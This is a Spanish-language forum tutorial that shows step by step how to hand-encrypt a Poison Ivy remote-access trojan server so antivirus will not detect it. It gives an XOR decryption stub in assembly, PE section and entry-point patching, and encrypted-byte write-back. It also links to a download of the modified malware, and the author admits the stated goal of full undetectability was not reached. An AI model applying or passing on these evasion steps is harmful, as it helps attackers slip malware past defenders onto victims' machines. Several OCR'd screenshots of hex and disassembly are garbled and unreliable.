Taller: Encriptando Malware a Mano

Objetivos de éste taller

Debido a la avalancha de crypters que últiamente salen a la luz y que, en mi opinión, el 90% de ellos (principalmente en VB) se hacen utilizando código de terceros sin entender realmente que es lo que programan, decidí hacer éste taller para mostrar el modo de funcionamiento de un crypter, de modo que cualquier persona con interés sea capaz a entenderlo. Al finalizar el taller seremos capaces de entender que es lo que hacen los crypters para burlar a los antivirus, y seremos capaces de hacer éste proceso de forma manual, así como, de tener conocimientos de programar un crypter sabiendo que queremos conseguir realmente.

Herramientas Necesarias

- [*] Olly Debug <u>Descargar</u>
- [*] Un Editor Hexadecimal Descargar HxD
- [*] Un Editor del PE Descargar LordPE
- [*] Poison Ivy v2.1.4 Private Descargar

Conocimientos recomendados

- [*] Nociones básicas sobre ASM. <u>Taller ASM por EON</u>
- [*] Conocimientos sobre el Formato PE. Taller Formato PE por Ferchu
- [*] Familiarización con el uso de Olly y las otras herramientas.

¿Qué vamos a encriptar?

Bueno, lo primero que haremos será abrir el server del PI con un el Editor Hexadecimal y el Editor del PE:

[PE Editor] \encriptando malware a mano\pi 2							pi 2.1.4\se	erver		
Г	Basic PE Header Ir	nformation								
E	EntryPoint:	00002104	Subsystem:			0002		Sav	`	
1	mageBase:	00400000	NumberOfSections:			0002			<u> </u>	
9	SizeOfImage:	TimeDateStamp:			46B1C15		Secti	ons		
. E	BaseOfCode:	00001000	SizeOfHeaders:			0000200 ?	+	Directo	ories	
E	BaseOfData:	Characteristics:			010F		FLC			
9	SectionAlignment: 00001000		Checksum:			000D6A6 ?		TDS	6C	
F	FileAlignment: 00000200		SizeOfOptionalHeader:			00E0		Comp	ara	
۱ h	lagic:	010B	NumOfRva4	AndSizes:	0	0000010 +	•			
	[Section Table]								×	
	Name	VOffset	VSize	ROffset		RSize	Flag	s		
	.text	00001000	0000168C	00000200		00001800	6000	00020		
	Juala	00003000	00000420	00001A00		00000400	000	00040		
	1									

Vemos que el ejecutable tiene 2 secciones, la .text y la .data. En éste caso vamos a encriptar solamente la sección .text que es la que contiene el código ejecutable. La .data la vamos a dejar tal y como está, porque si nos vamos al editor hexadecimal y nos vamos a 0x1A00 y miramos lo que hay más abajo, vemos que ahí se encuentra la IAT, y encriptar eso nos complicaría bastante las cosas, tal vez para otra entrega, en ésta vamos a dejar esa sección tal y como está :P:

Hex Workshop	- [serve sk <u>O</u> pti	r.exe] ions <u>T</u> oo	ls <u>W</u> ind	ow <u>H</u> elp)					
i 🕞 🗃 🖬 🚑	X	e e	2 2	\$	t 🗈	10	0 B	S L	Q F D 😥 🗉 🖛	+
← ~ << >>	- <u>55</u> 2	<u>°</u> ≚ ≥	\$ ^	&	⁺⁄- +		/ %	[<] [>]	A↑ a↓ aA]] 🤁 🗟 🗟 🗱	6
00001C20	0000	0000	0000	0000	0000	0000	0000	0000		
00001C30	0000	0000	0000	0000	0000	0000	0000	0000		
00001C40	0000	0000	0000	0000	0000	0000	0000	0000		
00001C50	0000	0000	0000	0000	0000	0000	0000	0000		
00001C60	0000	0000	0000	0000	0000	0000	0000	0000		
00001C70	0000	0000	0000	0000	0000	0000	0000	0000		
00001C80	0000	0000	0000	0000	0000	0000	0000	0000		
00001C90	-						•	0	ntdll.advp	
00001CA0	Es	to `r	10 S	e pu	lede	' en	critr	bar 2	ack.advapi32.ws2	
00001CB0				- p -			I	5	_32.kernel32.use	
00001000	7233	3200	7264	6753	7668	5433	3238	4400	r32.rdgSvhT328D.	
00001CD0	<u>65</u> 78	706C	6F72	6572	2E65	7865	0065	7870	explorer.exe.exp	
00001CE0	6C6F	7265	722E	6578	6500	534F	4654	5741	lorer.exe.SOFTWA	
00001CF0	5245	5C4D	6963	726F	736F	6674	5057	696E	RE\Microsoft\Win	
00001D00	646F	7773	5C43	7572	7265	6E74	5665	7273	dows\CurrentVers	
00001D10	696F	6E5C	5275	6E00	534F	4654	5741	5245	ion\Run.SOFTWARE	
00001D20	5C43	6C61	7373	6573	5068	7474	705C	7368	\Classes\http\sh	
00001D30	656C	6C5C	6F70	656E	5063	6F6D	6D61	6E64	ell\open\command	
00001D40	0053	6544	6562	7567	5072	6976	696C	6567	.SeDebugPrivileg	
00001D50	6500	0000	7033	0000	0000	0000	0000	0000	e 3	
00001D60	B633	0000	8833	0000	0000	0000	0000	0000	.33	
00001D70	0000	0000	0000	0000	0000	0000	9433	0000		
00001D80	A833	0000	0000	0000	9433	0000	A833	0000	.3	
00001D90	0000	0000	0901	4765	744D	6F64	756C	6548	GetModuleH	
00001DA0	616E	646C	6541	0000	8000	4578	6974	5072	andleAExitPr	
00001DB0	6F63	6573	7300	6B65	726E	656C	3332	2E64	ocess.kernel32.d	
00001DC0	6C6C	0000	0000	0000	0000	0000	0000	0000	11	
00001DD0	0000	0000	0000	0000	0000	0000	0000	0000		
00001DE0	0000	0000	0000	0000	0000	0000	0000	0000		
00001DF0	0000	0000	0000	0000	0000	0000	0000	0000		
ী জী server.exe										
Ready						Offset	: 00001C	DO Va	alue: 30821 7680 bytes	

Entonces, lo que vamos a encriptar es lo que va desde 0x200 a 0x1A00 viendolo con el editor hexadecimal.

¿Cómo lo vamos a encriptar?

Lo haremos de una forma sencilla. Encriptaremos el archivo en disco y añadiremos un poco de código en un espacio libre, y que haremos que sea el primero en ejecutarse, de modo que cuando el archivo se cargue en memoria, éste código se encargue de desencriptar lo que habíamos encriptado de la sección .text y luego salte a donde el programa comenzaba originalmente. Éste código lo vamos a poner al final de la sección ejecutable, debido a que suele haber espacio libre ahí debido al alineamiento de las secciones.

Preparando la sección .text

Vamos a buscar el espacio libre al final de la sección ejecutable y lo vamos a rellenar de NOP's usando el Editor Hexadecimal. Luego tambien vamos a cambiar los Flags del apartado Characteristics utilizando el LordPE.

Para buscar el espacio libre, nos vamos al LordPE y vemos que la sección .text emipeza en 0x200 (ROffset=0x200) y ocupa 0x1800. 0x200 y 0x1800 son 0x1A00, cojemos el HxD y nos vamos a esa dirección, es justo el comienzo de la sección .data y el final de la .text. Vemos que para arriba tenemos 0x00's, ése va a ser nuestro hueco, seleccionamos los 0's (dejando unos bytes de margen por si las moscas), y lo rellenamos de Nop's (NOP=0x90):

🔝 Archivo Edición Buscar Ver Análisis Extras Ventanas ?							e ×											
🗋 👌 · 🔚	Sum §	H	••	16		•	ANS	I		Ŧ	he	x	•	·				
🔝 server.exe																		
Offset(h)	00	01	02	03	04	05	06	07	08	09	OA	ОВ	oc	OD	OE	OF		•
00001870	40	00	FF	15	48	34	40	00	6A	00	E8	07	00	00	00	сс	0.ÿ.H40.j.èÌ	- 11
00001880	FF	25	88	33	40	00	FF	25	8C	33	40	00	00	00	00	00	₩\$^30.₩\$Œ30	- 11
00001890	90	90	90	90	90	90	90	90	90	90	90	90	90	90	90	90		- 11
000018A0	90	90	90	90	90	90	90	90	90	90	90	90	90	90	90	90		- 11
00001880	90	90	90	90	90	90	90	90	90	00	20	20	20	20	20	20		
00001800	90	90	90	90	90	90	90	90	90	Rel	lenar	seled	ción:					
000018D0	90	90	90	90	90	90	90	90	90	_							B • () I I	
000018E0	90	90	90	90	90	90	90	90	90		'asos						Patrón de relleno de paso	
000018F0	90	90	90	90	90	90	90	90	90		paso	1.					Valores hexadecimales:	
00001900	90	90	90	90	90	90	90	90	90								90	
00001910	90	90	90	90	90	90	90	90	90									
00001920	90	90	90	90	90	90	90	90	90									
00001930	90	90	90	90	90	90	90	90	90								O Bytes aleatorios:	
00001940	90	90	90	90	90	90	90	90	90	ſ	۸.				Dorr		Bango (decimal):	0.
00001950	90	90	90	90	90	90	90	90	90	L	Au	jieya			DUIId	<u> </u>		
00001960	90	90	90	90	90	90	90	90	90									
00001970	90	90	90	90	90	90	90	90	90	E N	/létoc	los de	e borr	ado p	orese	leccio	nados	
00001980	90	90	90	90	90	90	90	90	90						D			
00001990	90	90	90	90	90	90	90	90	90						Bytes	: en ce	ro Limpieza DoD	
000019A0	90	90	90	90	90	90	90	90	90									
000019B0	90	90	90	90	90	90	90	90	90								Aceptar	Cance
00001900	90	90	90	90	90	90	90	90	90								Aceptai	Cance
000019D0	90	90	90	90	90	90	90	90	90	90	90	90	90	90	90	90		
000019E0	90	90	90	90	90	90	90	90	90	90	90	90	90	90	90	90		
000019F0	90	90	90	90	90	90	90	90	90	90	90	90	90	90	90	90		+
00001A00	D5	00	00	00	78	64	2 E	65	78	65	00	00	00	00	00	00	Őxd.exe	
00001A10	00	00	00	00	5A	65	72	6F	00	00	00	00	61	64	6D	69	Zeroadmi	- 11
00001A20	6E	00	00	00	00	00	00	00	00	00	00	09	31	32	37	2 E	n127.	- 11
00001A30	30	2 E	30	2 E	31	00	00	00	00	00	00	00	00	00	00	00	0.0.1	
00001A40	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00		
00001A50	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00		
00001A60	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00		-
Posición: 192F		B	oque	: 192	F-19	2F					Lor	ngitua	1:1			* Mc	odificado * Sobreescribir	11.

Y listo, ya sabemos donde podeomos poner nuestro código desencriptador, a partir de 0x1890 para adelante (anotamos en algún sitio ese valor), ahora otro punto. Para desencriptar la sección .text vamos a necesitar que ésta tenga permisos de lectura y escritura (de ejecución ya tiene puesto que es la sección de código), así que abrimos el server con el LordPE, nos vamos a Sections, seleccionamos la sección .text, click derecho->Edti Section Header, damos click en el botón situado en el apartado flags y marcamos la opción "Writeable" ("Readable" ya está), damos "OK" y guardamos todos los cambios.

		-
🖏 [LordPE Deluxe b] by yoda	[Section Flags]	8
[PE Editor] - c:\documents and settings\peruxxo\escritorio\ Basic PE Header Information EntryPoint: 00002104 Subsystem: ImageBase: 00400000 NumberOfSections: SizeOfImage: [Edit SectionHeader] Ba Section Table Section Header Ba Name .text .text .data VirtualAddress: 00001000 VirtualSize: 0000168C RawOffset: 00001800 Flags: 60000020	Sett Flags OK Shareable in memory Executable as code Readable Cancel Writeable Contains extended relocations Discardable as needed Can't be cached Not pageable Contains COMDAT data Contains comments or other infos Won't become part of the image Contains executable code Contains initialized data Contains uninitialized data Contains uninitialized data Shouldn't be padded to next boundary Current Value Alignment: default Bytes	rer
rocesses listed / Click me to	edit ! / 37 processes listed / Click me	

Insertando la rutina encriptadora/desencriptadora

Bueno, el siguiente código en ASM desencrypta/encripta un array de bytes usando un Xor:

```
;Taller Encriptacion Malware a Mano: Código Desencriptación
;-----
;Movemos a eax la dirección de inicio del código encriptado
mov eax, 402000h
;Movemos a ebx la dirección de fin del código encriptado
mov ebx,403000h
;Movemos a ecx la dir del Entry Point Original
mov ecx, 401038h
xor byte ptr ds:[eax], OFFh ;Hacemos el xor al byte con la clave OFF
(se puede cambiar por otro byte)
inc eax
                      ;Nos desplazamos al siguiente byte
cmp eax,ebx
                      ;Comprobamos si es el último
jne 401234h
                      ;Si no lo es, continuamos con el siguiente
                      ;Salimos del programa (cambiar ret por nop
ret
despues de encriptar)
jmp ecx
                      ;Si lo es, saltamos el Entry Point Original
```

Eso es lo que tenemos que instar en el espacio libre que habíamos encontrado (con unas pequeñas modificaciones). Para eso, vamos al OllyDbg y abrimos el server. Una vez cargado el archivo, damos click derecho, View->Executable File.



Ahora nos vamos a la dirección (CTRL+G) dónde hemos empezado a poner los Nop's, 0x1890 (el valor que dije que recordarais). Luego damos click derecho sobre el primer Nop y sellecionamos View Image in Disassembler, así nos situará en donde se cargaron lso Nop's en memoria.

File C:\Documents and Setti	ings\Perux;	xo\Escritorio\Encriptando Malw	are a Mano\P	PI 2.1.4\server.exe	
0000186C FF35 E03A4000 00001872 FF15 48344000 00001878 6A 00 0000187R E8 07000000 0000187F CC 00001886 FF25 88334000 00001886 FF25 8C334000 0000188C 0000 0000188C 0000	push dwo call dwo push 0 call 000 int3 jmp dwor jmp dwor add byte add byte	rd ptr ds:[403AE0] rd ptr ds:[403448] 01886 d ptr ds:[403388] d ptr ds:[40338C] ptr ds:[eax],al ptr ds:[eax],al			
00001891 90 00001892 90 00001893 90 00001893 90 00001895 90 00001895 90 00001895 90 00001896 90 00001897 90 00001898 90 00001897 90 00001898 90 00001899 90 00001899 90 00001899 90 00001899 90 00001899 90 00001899 90 00001899 90 00001899 90 00001899 90 00001899 90 00001899 90 00001899 90 0004 004 004 004 004 004 004 004 004 004 004 004 004 004 004 004 <	nop nop nop nop nop nop nop nop 02178 02177 02177 02177 02177 02177 02182 02182 02182 02185 02185 02198 02198 02198 02198 02198 02198 02185 02186 02188 02186 02188 02186 02186 02186 02186 02186 02186 02186 02186 02186 02186 02186 02186 02186 02186 02186 02186 02186 02186 02188 02180 02180 02180 02180 02180 02180 02180 02180 02180 02180 02180 02180 02180 020000000000	Backup Copy Binary Assemble Search for Save file Go to offset View image in Disassembler Hex Text Short Long Float Visassemble Special Appearance	Ctrl+G		ies edi, dword ptr push edi call dword ptr ds: mov dword ptr ds: lea eax, dword ptr ds: push eax call dword ptr ds: lea eax, dword ptr ds: lea eax, dword ptr ds: push eax call dword ptr ds: push 0AC136BA push 0AC136BA push 0AC136BA push 0AC136BA push 0AC136BA push 0AC136BA push 0AC14033 call server.004033 call server.004033 call server.004013 push 68624A9D push 68624A9D push server.004016 mov dword ptr ds: push server.004010 mov dword ptr ds: push Server.004010 mov dword ptr ds: push 0AS9FC22

Ahí vamos a poner nuestro código, vamos dando doble click en los Nops y vamos introduciendo el código aterior línea a lína hasta que nos quede así:

00402680 00402686	\$- FF25 88334000 FF25 8C334000	jmp dword ptr ds:[<&kernel32.GetModuleHa jmp dword ptr ds:[<&kernel32.ExitProces:
0040268C	99	db 00
0040268D	99	db 00
0040268E	00	db 00
0040268F	00	db 00
00402690	B8 00104000	mov eax,server.00401000
00402695	BB 00204000	mov ebx,server.00402000
0040269A	B9 38104000	mov ecx,server.00401038
0040269F	8030 FF	xor byte ptr ds:[eax],0FF
004026A2	40	inc eax
004026A3	3BC3	omp eax.ebx
004026A5	▲ ØF85 89EBFFFF	jnz server.00401234
004026AB	C3	retn
004026AC	FFE1	JMD ECX
004026AE	90	nop
004026AF	90	nop
004026B0	90	nop
004026B1	90	nop
004026B2	90	nop
004026B3	90	nop
00400404		

Pero ahí hay que arraglar cosas, las direcciones 0x401000, 0x402000, 0x401038 y 0x4001234 no son correctas para éste ejecutable (y 99.999% seguro que para ningun otro que encontremos ;D), así que hay que cambiarlas por sus valores correctos.

Vamos por la primera, el 402000, ésta es la dirección VIRTUAL donde de donde queremos que empiece a encriptar/desencriptar, en nuestro caso, queremos que empiece a encriptar/des en el inicio de la primera sección, que viendo como el editor hexadecimal era 0x200, pero NO, esa es la dirección FÍSICA, al cargarse en memoria esa dirección cambia por algo de la forma 40XXXX (corrientemente). Vale, y como la obtenemos? Pues abrimos el LordPE, cargamos el ejecutable, y le damos para ver las secciones:

[Section Table]						x
Name	VOffset	VSize	ROffset	RSize	Flags	
.text .data	00001000 00003000	0000168C 00000AEC	00000200 00001A00	00001800 00000400	E0000020 C0000040	

Ahora ésto es una regla general para todos los casos, para obtener una dirección VIRTUAL a partir de la FÍSICA de una sección hacemos: (**DIR FÍSICA**-

ROFFSET)+VOffset+ImageBase:

(0x200-0x200)+0x1000+0x400000=401000.

Ésa es la dirección que tenemos que poner en el primer valor. Vamos con el segundo, el 403000, ése es el valor VIRTUAL donde termina el código que queremos encriptar. En éste caso, el código que queremos encriptar termina donde empezamos a poner los nops, en 0x1890 DIRECCIÓN FÍSICA, así que hacemos (**DIR FÍSICA-**

ROFFSET)+VOffset+ImageBase:

(0x1890-0x200)+0x1000+0x400000=0x402690 (Utilizad la calculadora de windows en modo hex :P).

Ése es el valor que tenemos que poner en el 2º valor, vamos con el 3º, el 401028, éste es más fácil, ahí hay que poner el AddressOfEntryPoint en memoria del ejecutable, para saberlo abrimos el ejecutable con el LordPE:

[PE Editor] - c:\docu	ments and sett	ings\peruxxo\escritorio\encr	'iptando malware a mano'	pi 2.1.4\server
Basic PE Header Ir	nformation			ΟΚ
EntryPoint:	00002104	Subsystem:	0002	Save
ImageBase:	00400000	NumberOfSections:	0002	
SizeOfImage:	00004000	TimeDateStamp:	446B1C15	Sections
BaseOfCode:	00001000	SizeOfHeaders:	00000200 ? +	Directories
BaseOfData:	00003000	Characteristics:	010F	FLC
SectionAlignment:	00001000	Checksum:	0000D6A6 ?	TDSC
FileAlignment:	00000200	SizeOfOptionalHeader:	00E0	Company
Magic:	010B	NumOfRvaAndSizes:	00000010 + -	Lompare
				L

Cogemos ese valor, se sumamos el ImageBase (0x400000+0x2104) y nos da **402104**, ese es nuestro 3° valor, el punto a donde debemos de saltar luego de desencriptar los datos.

Venga, 4º y último valor que tenemos que cambiar, el 401234, éste también es fácil, la

dirección a la que tiene que saltar el bucle si no llegamos al final. Volvemos al olly, donde habíamos introducido la rutina en ASM, y el valor que tenemos que introducir es la dirección donde pusimos el xor byte ptr ds:[eax],0FFh, en éste caso 0x40269F:



Y listo, nuestro código encriptador/desencriptador ya funcionaría, tal cual lo copiamos se encargaría de encriptar la sección .text. Debería de quedar así:

-	FF25 88334000 - FF25 8C334000 00 00 00 00 00 00 00 00 00	<pre>imp dword ptr ds:[<&kernel32.GetModuleHand k jmp dword ptr ds:[<&kernel32.ExitProcess>] k db 00 db 00 db 00 mov eax,server.00401000 mov ebx,server.00402690 mov ecx,server.00402690 mov ecx,server.0040269F inc eax omp eax,ebx jnz short server.0040269F retn inc ecy</pre>
50	90	
ЯB	90	nop
ЯĊ	90	nop
ЭD	90	nop
ΗE	90	nop
ΗF	90	nop
50 01	90	nop
	20	

Así que en el olly damos click derecho "Copy to Executable/All modifications" y guardamos el archivo en disco (click drcho, backuup->save data to file).

Ahora tenemos que cambiar el Entry Point por la dirección donde empieza nuestro código en memoria: 2690 (Sin el imagebase):

Basic PE Header Ir	formation			Πκ
EntryPoint:	00002690	Subsystem:	0002	Save
ImageBase:	00400000	NumberOfSections:	0002	
SizeOfImage:	00004000	TimeDateStamp:	446B1C15	Sections
BaseOfCode:	00001000	SizeOfHeaders:	00000200 ? +	Directories
BaseOfData:	00003000	Characteristics:	010F	FLC
SectionAlignment:	00001000	Checksum:	0000D6A6 ?	TDSC
FileAlignment:	00000200	SizeOfOptionalHeader:	00E0	
Magic:	010B	NumOfRvaAndSizes:	00000010 + ·	Lompare

Listo, ahora la rutina encriptadora/desencriptadora será lo primero que se ejecute al iniciar el archivo.

Encriptando, Desencriptando

Ahora que ya tenemos la rutina encriptadora/desencriptadora en su sitio, vamos a usarla para que nos encripte lo la sección .text, para ésto abrirmos nuevamente el server con el Olly, y ponemos un breakpoint en el ret del código de la rutina desencriptadora. Una vez hecho ésto, pulsamos F9 y el programa empezará a ejecutarse hasta que parará en el ret. En éste momento ya tenemos el código encriptado, pero en memoria, así que vamos a copiarlo al portapapeles. Seleccionamos con el ratón desde 0x401000 hasta 0x401890 (no incluído)(el trozo que encriptamos) y hacemos click derecho/bianry/binary copy:

00402629	2 07	DOD es
00402620	· 07	omps duord ptr ds.[esi] duord ptr es.[edi
00402620		comps dword por ds.rests,dword por es.redt
00402626		scas dword ptr estredij
0040262C	·^ 72 F2	JD short server_m.00402620
0040262E	? 17	DOD SS
0040262E	2 C5BE EEAE97E3	lds_edi.fword_ptr_ds:[edi+E3970FFF1
00402625	5 E0 111127120	
00402000		010
00402636		377
00402638	.^ 72 F2	jb short server_m.0040262C
00402638	2 3BCC	CMD ecx.esp
00402620	2 PE EE0E0000	mou odi 0000EEE
00402030		
00402641	<u>? UH 1FU5</u>	retf 0051F
00402644	? BF FFØØEAA3	mov_edi.A3EA00FF
00402649	2 CB	retf
00402640	9 DE EE79E917	Mou odi 17527255
00402046		NOV EUL, ITEZTZEE
0040264F	S PPRF FEHEAPEL	las edi,†word ptr as:Leai+FF95HEFFJ
00402655	. A8 00	test al.0
00402657	2 CA 1805	retf 0C518
00402450	2 DE ÉEGEFEGE	mou odi GEEEGEEE
0040205H		NOV EUL, SOFFSOFF
0040265F	<u> </u>	INC_dword_ptr_ds:LeaxJ
00402661	? CA 1FC5	retf 0C51F
00402664	2 BE FE00E09E	mou edi.9EEAAAEE
00402220	2 00	nov carps Encorr
00402007		TENT A FOODEF
0040266H	Y BE FE00LHIE	MOV EQL, IFCHUUFF
0040266F	? C5BF FF00EAB7	lds edi,fword ptr ds:[edi+B7EA00FF]
00402675	2 CB	retf
00402676	2 BE EE95EE17	mou edi 17EE9EEE
00402010		nov edt, inn von
00402678		CLC
0040267C	I ? FFFF	???
0040267E	? FF33	push dword ptr ds:[ebx]
00402690	\$ 0000	add dl bl
00402000	24 77 CC	in chart conver a 004026E0
00402002		Ja short server_M.00402050
00402684	/ ? BF FF00DH73	MOV edi,730H00FF
00402689	? CC	lint3
00402680	2 BE FEFFFFF	mou edi1
00102000		
0040200F		
00402630	F\$ 88 00104000	mov eax,server_m.00401000
00402695	. BB 90264000	mov_ebx,server_m. <moduleentrypoint></moduleentrypoint>
00402698	. 89 04214000	mov ecx.server m.00402104
0040269F	> 8030 FF	Fyon bute of ds. [eav] ØFF
0040202	49	ing one
004020H2	• +0	the eas
004026H3	. 3BC3	CMP eax,ebx
004026A5	_^ 75 F8	∣Ljnz short server_m.0040269F
00402607		reto
00402600		
004020H0		JMP CON
004026HH	20	nop
004026AB	90	nop
0040269C	98	non
00402600	96	non
004020HD	00	nop
004026HE	36	nop
004026AF	90	nop
004026B0	90	NOD
004026B1	98	DOD

Ahora cerramos el olly, y abrimos el archivo nuevamente con el HxD (mientras haces ésto no copies ni pegues nada que te cargas lo que hay en el portapapeles :P). Una vez abierto seleccionamos los bytes desde 0x200 hasta 0x1890 (no incluído) y hacemos click derecho/pegar escribiendo y guardamos los cambios.

Ahora ya tenemos el código encriptado en disco, entonces ahora lo que tiene que hacer la rutina encriptadora/desencriptadora es desencriptar el código y luego saltar al Entry Point Original, para ésto solo tenemos que cambiar el ret del código por un Nop con Olly:

00402686	নিনি	db ØØ
00402697	no	
00402001	70	
00402600		dD (S
00402689		int3_
0040268A	BF	db BF
0040268B	FF	db FF
0040268C	FF	db FF
0040268D	FF	db FF
0040268E	FF	db FF
0040268F	FF	db FF
00402690	B8 00104000	mov eax,server_m.00401000
00402695	BB 90264000	mov_ebx,server_m. <moduleentrypoint></moduleentrypoint>
0040269A .	B9 04214000	mov ecx,server_m.00402104
0040269F	8030 FF	r xor byte ptr ds:[eax],0FF
004026A2	40	inc eax
004026A3	3BC3	cmp eax,ebx
004026A5	> 75 F8	jnz short server_m.0040269F
004026A7	90	nop
004026A8 .	FFE1	jmp ecx
004026AA	90	nop

Guardamos los cambios en disco y LISTO!! ya tenemso nuestro server encriptado con "nuestro crypter manual ;D":

		a potas 💁 🔤					
\mu C:\Documents and Settings\P	eruxxo\Escritor	io\Encriptando Malware a	Mano\PI 2	.1.4			
eas de archivo y carpeta 🔺 Cambiar nombre a este		Poison Ivy.ini Opciones de configuración 1 KB		server.exe Aplicación			
archivo Mover este archivo	NO	PI 2.1.4.exe		server.exe.bak Archivo BAK			
Copiar este archivo	70	, Aplicación		8 KB			
Publicar este archivo en Web		Download Carpeta de archivos	25.200				
Enviar este archivo por correo electrónico			ID	n Ivy WAN		LAN	Computer
Eliminar este archivo		server_mod.exe Aplicación	8 Zero	127.0.0.	1	127.0.0.1	PERUXX01
os sitios 🔹							
alles 🔺		server_moded.exe Aplicación					
ia de server_moded.exe :ación							
na de modificación: Hoy, 30 ulio de 2009, 07:24 p.m.		Version 2.1.4 Connections (Build (Settings (Stats (About					
iaño: 7.50 KB							

Despedida

Bueno, pues espero que hayáis aprendido algo de mis palabras y del método, sobre todos los que no sabían lo que hacer un crypter, y los que sabían, pues seguro algo aprendieron tambien ;).

Que lo disfrutéis! Y ya sabéis, cualquier duda ;).

Subo también el server modificado después de todo el proceso para que os ayude a encontrar posibles fallos que tengáis :P. <u>Descargar</u>

Saludos

PD: Algo que se me olvidó mecionar, utilizando éste método no es necesario inyectar nada en ningún proceso, por lo nos evitamos problemas con **heurísticas**, y aumentamos Obyes el peso del archivo :laugh:.

Edito: Al final el server no quedó FUD, era que no subí lo que era, y es lo más normal ya que con un simple Xor no se pueden quitar todo así como así :xD. De todas formas eso no importa demasiado, en ésta caso hay espacio de sobra para poner una

encriptación mas difícil etc... ;D.

Fuente: